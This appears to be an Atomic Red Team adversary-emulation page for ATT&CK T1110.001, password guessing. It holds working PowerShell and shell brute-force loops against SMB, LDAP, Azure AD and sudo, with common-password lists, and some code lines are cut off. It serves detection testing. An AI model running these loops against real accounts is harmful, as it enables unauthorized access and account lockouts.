T1110.001 - Password Guessing

Description from ATT&CK

> Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.
> Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)
>
> Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:
>
> - SSH (22/TCP)

> - Telnet (23/TCP)
> - FTP (21/TCP)
> - NetBIOS / SMB / Samba (139/TCP & 445/TCP)
> - LDAP (389/TCP)
> - Kerberos (88/TCP)
> - RDP / Terminal Services (3389/TCP)
> - HTTP/HTTP Management Services (80/TCP & 443/TCP)
> - MSSQL (1433/TCP)
> - Oracle (1521/TCP)
> - MySQL (3306/TCP)
> - VNC (5900/TCP)
> - SNMP (161/UDP and 162/TCP/UDP)
>
> In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)
>
> In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

Atomic Tests

- Atomic Test #1 - Brute Force Credentials of single Active Directory domain users via SMB
- Atomic Test #2 - Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos)
- Atomic Test #3 - Brute Force Credentials of single Azure AD user
- Atomic Test #4 - SUDO brute force Debian
- Atomic Test #5 - SUDO brute force Redhat

Atomic Test #1 - Brute Force Credentials of single Active Directory domain users via SMB

Attempts to brute force a single Active Directory account by testing connectivity to the IPC$ share on a domain controller

Supported Platforms: Windows

auto_generated_guid: 09480053-2f98-4854-be6e-71ae5f672224

Inputs:

Name	Description	Type	Default Value
user	Account to bruteforce	String	%username%

Attack Commands: Run with `command_prompt`!

```
echo Password1> passwords.txt
echo 1q2w3e4r>> passwords.txt
echo Password!>> passwords.txt
echo Spring2022>> passwords.txt
echo ChangeMe!>> passwords.txt
```

Preview | Code | Blame | Raw

Atomic Test #2 - Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos)

Attempt to brute force Active Directory domain user on a domain controller, via LDAP, with NTLM or Kerberos

Supported Platforms: Windows

auto_generated_guid: c2969434-672b-4ec8-8df0-bbb91f40e250

Inputs:

Name	Description	Type	Default Value
user	Account to bruteforce	String	$ENV:USERNAME
passwords_path	List of passwords we will attempt to brute force with	Path	PathToAtomicsFolder\T1110.001\src\passwords.txt
domain	Active Directory domain FQDN	String	$env:UserDnsDomain
auth	authentication method to choose between "NTLM" and "Kerberos"	String	NTLM

Attack Commands: Run with `powershell`!

```
if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
  Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
  exit 1
}

[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protoc
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{dom

$passwordList = Get-Content -Path #{passwords_path}
foreach ($password in $passwordList){
  $credz = new-object System.Net.NetworkCredential("#{user}", $password, "#{domain
  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz
  try {
    Write-Host " [-] Attempting ${password} on account #{user}."
    $conn.bind()
    # if credentials aren't correct, it will break just above and goes into catch
```

```
    Write-Host " [!] #{user}:${password} are valid credentials!"
  } catch {
    Write-Host $_.Exception.Message
  }
}
Write-Host "End of bruteforce"
```

Atomic Test #3 - Brute Force Credentials of single Azure AD user

Attempt to brute force Azure AD user via AzureAD powershell module.

Supported Platforms: Azure-ad

auto_generated_guid: 5a51ef57-299e-4d62-8e11-2d440df55e69

Inputs:

Name	Description	Type	Default Value
username	Account to bruteforce. We encourage users running this atomic to add a valid microsoft account domain; for eg "bruce.wayne@<valid_ms_account.com>"	String	bruce.wayne@contoso.com
passwords	List of passwords we will attempt to brute force with	String	Password1 `n1q2w3e4r` nPasswo

Attack Commands: Run with `powershell`!

```
Import-Module -Name AzureAD

$passwords = "#{passwords}".split("{`n}")
foreach($password in $passwords) {
  $PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force
  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -Ar
  try {
    Write-Host " [-] Attempting ${password} on account #{username}."
    Connect-AzureAD -Credential $Credential 2>&1> $null
```

```
    # if credentials aren't correct, it will break just above and goes into catch
    Write-Host " [!] #{username}:${password} are valid credentials!`r`n"
    break
  } catch {
    Write-Host " [-] #{username}:${password} invalid credentials.`r`n"
  }
}
Write-Host "End of bruteforce"
```

Dependencies: Run with `powershell`!

Description: AzureAD module must be installed.

Check Prereq Commands:

```
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0}
```

Get Prereq Commands:

```
Install-Module -Name AzureAD -Force
```

Atomic Test #4 - SUDO brute force Debian

Brute force the password of a local user account which is a member of the sudo'ers group on a Debian based Linux distribution.

Supported Platforms: Linux

auto_generated_guid: 464b63e8-bf1f-422e-9e2c-2aa5080b6f9a

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password) target
su target

PASSWORDS=(one two three password five); \
```

```
    touch /tmp/file; \
    for P in ${PASSWORDS[@]}; do \
        date +"%b %d %T"; \
        sudo -k && echo "$P" |sudo -S whoami &>/tmp/file; \
        echo "exit: $?"; \
        if grep -q "root" /tmp/file; then \
            echo "FOUND: sudo => $P"; break; \
        else \
            echo "TRIED: $P"; \
        fi; \
        sleep 2; \
    done; \
    rm /tmp/file
```

Cleanup Commands:

```
userdel target
```

Dependencies: Run with `sh`!

Description: Check if running on a Debian based machine.

Check Prereq Commands:

```
if grep -iq "debian\|ubuntu\|kali" /usr/lib/os-release; then echo "Debian"; else e
if grep -Rq "pam_tally" /etc/pam.d/*; then echo "pam_tally configured"; exit 1; fi
if [ -x "$(command -v sudo)" ]; then echo "sudo installed"; else echo "install sud
if [ -x "$(command -v openssl)" ]; then echo "openssl installed"; else echo "insta
```

Get Prereq Commands:

```
apt-get update && apt-get install -y openssl sudo
```

Atomic Test #5 - SUDO brute force Redhat

Brute force the password of a local user account which is a member of the sudo'ers group on a Redhat based Linux distribution.

Supported Platforms: Linux

auto_generated_guid: b72958a7-53e3-4809-9ee1-58f6ecd99ade

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password) target
su target

PASSWORDS=(one two three password five); \
    touch /tmp/file; \
    for P in ${PASSWORDS[@]}; do \
        date +"%b %d %T"; \
        sudo -k && echo "$P" |sudo -S whoami &>/tmp/file; \
        echo "exit: $?"; \
        if grep -q "root" /tmp/file; then \
            echo "FOUND: sudo => $P"; break; \
        else \
            echo "TRIED: $P"; \
        fi; \
        sleep 2; \
    done; \
    rm /tmp/file
```

Cleanup Commands:

```
userdel target
```

Dependencies: Run with `sh`!

Description: Check if running on a Redhat based machine.

Check Prereq Commands:

```
if grep -iq "rhel\|fedora\|centos" /usr/lib/os-release; then echo "Redhat"; else e
if grep -Rq "pam_faillock" /etc/pam.d/*; then echo "pam_faillock configured"; exit
```

```
if [ -x "$(command -v sudo)" ]; then echo "sudo installed"; else echo "install sud
if [ -x "$(command -v openssl)" ]; then echo "openssl installed"; else echo "insta
```

Get Prereq Commands:

```
yum -y update && yum install -y openssl sudo
```